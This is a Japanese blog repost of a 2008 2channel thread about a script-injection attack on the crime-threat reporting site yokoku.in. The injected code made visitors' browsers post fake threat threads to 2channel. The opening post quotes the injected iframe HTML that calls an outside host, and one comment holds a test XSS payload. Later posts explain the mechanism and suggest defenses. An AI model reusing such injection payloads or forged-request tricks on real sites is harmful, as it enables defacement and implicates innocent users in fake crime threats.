ニュース速報++
ニュー速++ スポンサーサイト
-----------  CATEGORY: スポンサー広告
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
ニュース速報++ l  ブックマークに追加する
ニュー速++ 予告.inがクロスサイトスクリプティング攻撃を受けたっぽい
2008-08-03-Sun  CATEGORY: 国内ニュース
1 名前: 露華濃(関西地方)[] 投稿日:2008/08/03(日) 03:14:23.58 ID:7TPSf6W+0 ?S★(717781) ポイント特典
http://yokoku.in/


<div class=content>
<a href=/detail?num=3882>■</a>test <a href=http://a.a/><iframe/src='//a.zz.tc/8/'><font size=1 color=#777777></a></font></a></div>
</font>


<a href=http://a.a/><iframe/src='//a.zz.tc/8/'>
を仕込まれてる


a.zz.tc/8/

tp://www.AMIGO.IN/hahahahahaha/oppai.html
に転送されててて、AMIGO.inはブラクラ

< 危険なURLはリンクから外してありますが、漏れがあるかもしれません。
     記事中のURLは自己責任でクリックしてください。

3 名前: 鮑許(兵庫県)[] 投稿日:2008/08/03(日) 03:14:50.92 ID:ah5LIMst0
ざまあwwwwwwwwww

7 名前: 家郷鶏(関東地方)[sage] 投稿日:2008/08/03(日) 03:15:19.80 ID:oaOHtlx30
スーパーハカこええ

61 名前: ◆kusai/ZzDI [sage] 投稿日:2008/08/03(日) 03:23:07.25 ID:7TPSf6W+0 ?S★(717781)
yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/9989.shtml#host=yutori.2ch.net  (以下略

を読み込ませていて、それを読み込むと

↓を読み込ませて
yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net (以下略

http://yutori.2ch.net/test/read.cgi/news4vip/1217701110/
みたいに

タイトル: 警視庁**する
名前:fusianasan
本文:嘘です

と、犯行予告スレを立てるスクリプトが仕掛けれらてる

86 名前: 家郷鶏(関東地方)[sage] 投稿日:2008/08/03(日) 03:25:37.91 ID:oaOHtlx30
>>61
まじかよww

66 名前: 鮑許(西日本)[] 投稿日:2008/08/03(日) 03:23:47.10 ID:nWAnmpW70
必殺!クロスサイトスクリプティング!!

67 名前: 荘臣(アラバマ州)[] 投稿日:2008/08/03(日) 03:23:47.96 ID:Ahp7bMaL0
プディングとかスイーツ丸出しだな。
プリンと言え、プリンと。

163 名前: 欧莱雅(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:32:04.34 ID:CX4JztzL0
VIPで犯行予告してるやつがいるぞ
http://yutori.2ch.net/test/read.cgi/news4vip/1217701240/
通報先
http://yokoku.xx/

みたいなコピペいっぱい貼られたら困るよね

164 名前: 雅虎(北海道)[] 投稿日:2008/08/03(日) 03:32:05.87 ID:FTr6DLvo0
なにこれ予告in行ったらアウトってことか?

180 名前: 星期五餐庁(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:32:56.93 ID:GqG8h2/R0
>>164
そうみたい

166 名前: 登喜路(東京都)[] 投稿日:2008/08/03(日) 03:32:07.70 ID:8mR0QLmO0
ふざけんな矢野
許さない
絶対に

20080803_166_1.png


259 名前: 可爾(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:37:55.45 ID:kCovLoQx0
>>166
これはひどい

169 名前: 宝麗来(愛知県)[] 投稿日:2008/08/03(日) 03:32:12.74 ID:wwqjGWs40
Operaさんだと読まない。IEとFirefoxは動くな。
Operaさいきょうでんせつ。

262 名前: 丘比(catv?)[sage] 投稿日:2008/08/03(日) 03:38:10.74 ID:S9DWcdHD0
つまりこれに便乗して犯罪予告する奴が現れて
調子乗りすぎてそいつだけ逮捕されるわけですね

279 名前: 古馳(宮城県)[] 投稿日:2008/08/03(日) 03:38:51.74 ID:tXpYgxkX0
爆破予告が25スレも立ってる

336 名前: 古馳(宮城県)[] 投稿日:2008/08/03(日) 03:41:48.96 ID:tXpYgxkX0
只今29スレ目

317 名前: 飄柔(dion軍)[sage] 投稿日:2008/08/03(日) 03:40:54.89 ID:WdXrZ0jI0
予告.inって言語は何で作られてるんだ?
今まで気にしたことなかったからわからんし、今からじゃ確認のしようがないw

351 名前: 三菱(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:42:21.44 ID:50hXM7fP0
>>317
言語とか関係無い。
これは多分投稿されたメッセージ内のHTMLタグの無効化をし忘れてるとかそのレベル
10年ぐらい前の掲示板荒らしの手口だ

375 名前: 達美楽・比薩(北海道)[] 投稿日:2008/08/03(日) 03:43:32.95 ID:u/OdMS2N0
なんで>>1本文を「嘘です」に設定したんだろ
もっとリアルに日時まで設定して書き込ませた方が面白いのに

416 名前: 凱洛格(東日本)[] 投稿日:2008/08/03(日) 03:45:13.18 ID:RASG27qT0
>>375
そこまでやるのは仕込んだ人間も怖かったんだろうな
ここから推察するにこれやった奴は気弱なチキン野郎だ

395 名前: 古馳(宮城県)[] 投稿日:2008/08/03(日) 03:44:24.47 ID:tXpYgxkX0
只今34スレ目

412 名前: ◆kusai/ZzDI [sage] 投稿日:2008/08/03(日) 03:44:57.18 ID:7TPSf6W+0 ?S★(717781)
矢野に電話してみたけど、出ない

475 名前: 登喜路(東京都)[] 投稿日:2008/08/03(日) 03:48:00.57 ID:8mR0QLmO0
>>412
まさか彼はもう・・・

598 名前: 雅虎(catv?)[] 投稿日:2008/08/03(日) 03:51:53.14 ID:RlCCZHc50
>>412
寝てんだろ

418 名前: 数字設備公司(長屋)[] 投稿日:2008/08/03(日) 03:45:21.67 ID:39+E+8Wy0
VIP蜂起!!!!
集団革命で犯罪予告

ちょっと予告inに通報してこいよおまえらw

448 名前: 羅尓斯(東京都)[] 投稿日:2008/08/03(日) 03:46:29.32 ID:LEhtDy5/0
>>418
って芋蔓で増える訳か…マジで通報厨涙目じゃね?

447 名前: 時代(愛知県)[sage] 投稿日:2008/08/03(日) 03:46:27.75 ID:mRLneP580
このウイルス回避する方法はないのか

500 名前: 楽天利(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:48:42.00 ID:rllysQBx0
>>447
ウィルスっていうか、ハックによるサイト書き換えで起きた、
スクリプト被害だからなー

このスレの報告では、ブラウザOperaなら大丈夫ってとこか

467 名前: 美極(樺太)[sage] 投稿日:2008/08/03(日) 03:47:26.33 ID:okRXyoimO
本文が『嘘です』なのは、犯人が見せた唯一の優しさ

490 名前: 阿斯頓馬丁(アラバマ州)[] 投稿日:2008/08/03(日) 03:48:27.42 ID:YG4LP/AT0
>>467
本文が嘘ですでも逮捕する警察への皮肉だろう

507 名前: 荘臣(アラバマ州)[] 投稿日:2008/08/03(日) 03:48:53.21 ID:Ahp7bMaL0
>>467
本文をガチにしたら、バレた時点で自分が逮捕されるの確定だからじゃね?

546 名前: 達美楽・比薩(北海道)[] 投稿日:2008/08/03(日) 03:50:19.71 ID:u/OdMS2N0
>>507
現状でも逮捕されるだろ・・・

479 名前: 金融新聞聯播網(愛媛県)[] 投稿日:2008/08/03(日) 03:48:02.66 ID:9BfwH71i0
予告inってtor経由でも普通に書き込めるくらい適当だったし
多分犯人見つからないね

503 名前: 古馳(宮城県)[] 投稿日:2008/08/03(日) 03:48:46.49 ID:tXpYgxkX0
只今44スレ目

505 名前: 必勝客(アラバマ州)[sage] 投稿日:2008/08/03(日) 03:48:47.58 ID:EnvEcYuE0
これは予告inをひらかなければおk?

528 名前: 来科思(福岡県)[] 投稿日:2008/08/03(日) 03:49:45.70 ID:hNimluz/0
>>505
予告inに飛ばされるURL踏んでもアウトだから気をつけろよ。

510 名前: 家郷鶏(関東地方)[sage] 投稿日:2008/08/03(日) 03:49:00.01 ID:oaOHtlx30
というかさとる自身踏んで予告するんじゃないの?w

517 名前: 宝姿(長屋)[sage] 投稿日:2008/08/03(日) 03:49:24.58 ID:SRzSUDtS0
>>510
それが最高の展開

524 名前: 達美楽・比薩(dion軍)[] 投稿日:2008/08/03(日) 03:49:31.16 ID:mJczhwnW0
          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ       また通報してやったおwwwwwざまあwwwwwww
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //   バ
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      ン
|     ノ     | |  |   \  /  )  /    バ
ヽ    /     `ー'´      ヽ /    /     ン
 |    |   l||l 从人 l||l      l||l 从人 l||l
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

        ____
       /      \
     /  ─    ─\
    ./    (●)  (●) \          あれ・・・・・?
    |       (__人__)    |、
r―n|l\      ` ⌒´   ,/ ヽ
  \\\.` ー‐ ' .// l     ヽ
.     \        |      |
.       \ _  __ | ._   |
        /,  /_ ヽ/、 ヽ_|
\      // /<  __) l -,|__) >
  \.    || | <  __)_ゝJ_)_>
    \.   ||.| <  ___)_(_)_ >
      \_| |  <____ノ_(_)_ )


547 名前: 陸虎(山陰地方)[] 投稿日:2008/08/03(日) 03:50:19.68 ID:T0+Vrn440
>>524
これになりかねない事態w

883 名前: 達美楽・比薩(北海道)[] 投稿日:2008/08/03(日) 04:02:24.84 ID:u/OdMS2N0
予告in元に戻ってるな

948 名前: 湯米・希爾弗哥(徳島県)[sage] 投稿日:2008/08/03(日) 04:04:03.14 ID:k2DF/0O30
>>883
なんだ、もう戻ったのか
これなら見ても大丈夫だな!


予告inがクロスサイトなんとか攻撃を受け犯行予告増殖中2【矢野ざまぁwwww】
52 名前: 賓得(兵庫県)[sage] 投稿日:2008/08/03(日) 04:10:09.82 ID:zNcEb0ew0
なんかもう直ってるんだけど
矢野はええよ

58 名前: 雅瑪山(関東地方)[] 投稿日:2008/08/03(日) 04:10:28.85 ID:aMUVSHMn0
ようするにサイトにスクリプト埋め込んで、
別のサイト(2ちゃんねる)に犯罪予告ポストさせてた。

厳密に言えば、
クロスサイトリクエストスクリプティングじゃなくて、

スクリプトインジェクションを利用した、
クロスサイトリクエストフォージェリ

67 名前: 家郷鶏(神奈川県)[sage] 投稿日:2008/08/03(日) 04:11:20.85 ID:E1vzxK0z0
>>58
日本語でおk

79 名前: 斯柯達(関西地方)[sage] 投稿日:2008/08/03(日) 04:12:11.13 ID:tQ45TRnH0
> クロスサイトリクエストフォージェリ
強そうな技だな

118 名前: 毎日新聞(愛媛県)[] 投稿日:2008/08/03(日) 04:15:25.49 ID:3J3Iu89a0
http://nicovideo.zz.tc/sm485475
予告inの今回の件の動画あがってるぞ

147 名前: 戴姆勒・克莱斯勒(東京都)[] 投稿日:2008/08/03(日) 04:18:01.94 ID:1OZFEoe60
>>118
全ての通報族へ・・・・

160 名前: 愛斯徳労徳(神奈川県)[sage] 投稿日:2008/08/03(日) 04:18:58.72 ID:VZgPUAgH0
>>118
zz.tc見てNG登録余裕でした

174 名前: 華姿(埼玉県)[sage] 投稿日:2008/08/03(日) 04:20:02.13 ID:jiPiRjOG0
>>118を踏むとどうなるのかうp

181 名前: 麦当勞(宮城県)[sage] 投稿日:2008/08/03(日) 04:20:36.97 ID:NTNwSTqh0
>>174
予告いnに飛ぶ

213 名前: 嘉緑仙(アラバマ州)[sage] 投稿日:2008/08/03(日) 04:23:33.62 ID:4VDDvkpx0
該当時間帯のやつだけ通報対象除外か?

220 名前: 七喜(神奈川県)[] 投稿日:2008/08/03(日) 04:24:26.77 ID:+2MwQL360
>>213
それやったら、警察としておかしな事になる。
逮捕はしないまでも、話くらいは聞かれるはず。

247 名前: 理光(北海道)[] 投稿日:2008/08/03(日) 04:26:18.55 ID:lHSZghpi0
http://yutori.2ch.net/test/read.cgi/news4vip/1217700764/l50
1 名前: ntmyzk032064.myzk.nt.ftth4.ppp.infoweb.ne.jp [age] 投稿日: 2008/08/03(日) 03:12:44.88 ID:hJGa0Jwk0
嘘です

これが最初の予告かな?


http://namidame.2ch.net/test/read.cgi/news/1217700863/l50
1 名前: 露華濃(関西地方) 投稿日: 2008/08/03(日) 03:14:23.58 ID:7TPSf6W+0 ?S★(717781) ポイント特典

こっちのスレ・・・2分で特定するってすごくね?
仕込んだ本人以外なら


251 名前: 美年達(北海道)[] 投稿日:2008/08/03(日) 04:26:30.29 ID:VoQ5RZd/0
でも今回の予告は故意ではない人がほとんどだけど
もしかしたら故意に踏んでわざと予告した人がいる可能性も
捨てきれないし一応全員通報するべきなのかな?矢野さんとか
予告inで通報してた方々の主張的に考えて

442 名前: 三菱(アラバマ州)[sage] 投稿日:2008/08/03(日) 04:44:01.75 ID:50hXM7fP0
実際はもっと大多数が踏んでるはず
なのにどうして数がそこまで多くないかといえば
無駄に厳密なスレ立て規制のせい
大多数がそこで弾かれてる

予告スレ立てちまった人は選ばれた不幸なお方です。合掌

469 名前: 硬石餐庁(長屋)[] 投稿日:2008/08/03(日) 04:47:40.39 ID:04xE7db70
WEBサイト改ざんて罪に問われるのか?
しかもこのクロスなんちゃらってパスワードとかで不正侵入してんじゃなくて
サイト側のバグを利用してるだけだろ?直してない方が悪いんじゃねえの?

476 名前: 宝麗来(愛知県)[] 投稿日:2008/08/03(日) 04:48:58.22 ID:wwqjGWs40
>>469
警察にせっせと媚を売ってるから、威力業務妨害くらいにはなるんじゃねえの。

503 名前: 固特異輪胎橡膠公司(大阪府)[sage] 投稿日:2008/08/03(日) 04:52:46.26 ID:0wjuOLBM0
>>469
昔サイトの脆弱性利用して中身みれますよって
証拠と共に知らせた京大の人逮捕されてた気がする

531 名前: 美禄(栃木県)[] 投稿日:2008/08/03(日) 04:56:06.08 ID:7fkn0L8q0
FIRE FOXにNO SCRIPT(IFRAME禁止にする。ANTI-XSSはデフォルトで
チェックボックスにチェック入ってる)入れとけば防げるよ。
加えて、2chに張られてるような攻撃サイトは、まずブラウザで遮断される。

まさかIEでネットサフィンしてないよな?

コメントを書く(9)▼ l  ニュース速報++ l  ブックマークに追加する
この記事へのコメント
  1. 名無しさん[] :2008/08/03(Sun) 08:11:26 ID:news++
    このサイトもNoScriptでバッチリスクリプト止まってます。
    しかし、面倒ではある。あと、コメント書き込めるかな(汗) <JavaScript使ってるともちろん動きません
  2. 名無しさん[] :2008/08/03(Sun) 08:34:26 ID:news++
    ダイアーさんの必殺技みたいな名前だな
  3. 名無しさん[] :2008/08/03(Sun) 09:13:23 ID:news++
    予告.in ざまあwwwwwwwwwwwwwww
  4. くぁwせdrftgyふじこlp;@:「」[] :2008/08/03(Sun) 10:55:05 ID:news++
    もううかつにアクセスできないなw
  5. 名無しさん[] :2008/08/03(Sun) 12:36:55 ID:news++
    予告.inってそんなに嫌われるもんなの?
    言論の自由の侵害とかほざいている奴も居るけど。
    犯行予告しなければいいって話。

    嘘通報の毒ガス事件なんかは逮捕者が出るとしても嘘ついた奴だろ。
    なんら心配する他はない。杞憂
  6. 名無しさん[] :2008/08/03(Sun) 13:19:11 ID:news++
    小女子で逮捕されるんだから、通報されただけでも恐怖だわ
    実際に罪になるかどうかは置いておいても、警察の世話になった時点で
    人によっては人生終了するし
  7. 名無しさん[] :2008/08/04(Mon) 06:48:08 ID:news++
    矢野君はこの25スレだかの全ての人を警察に通報する義務があるんじゃないのかな?
  8. 名無しさん[] :2008/08/07(Thu) 18:52:41 ID:news++
    てs
  9. 名無しさん[] :2008/10/22(Wed) 14:20:58 ID:news++
    <script>alert("警告")</script>
コメントの投稿
 
FC2 BLOG  Copyright © 2007 ニュース速報++. all rights reserved.
アクセスランキング
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。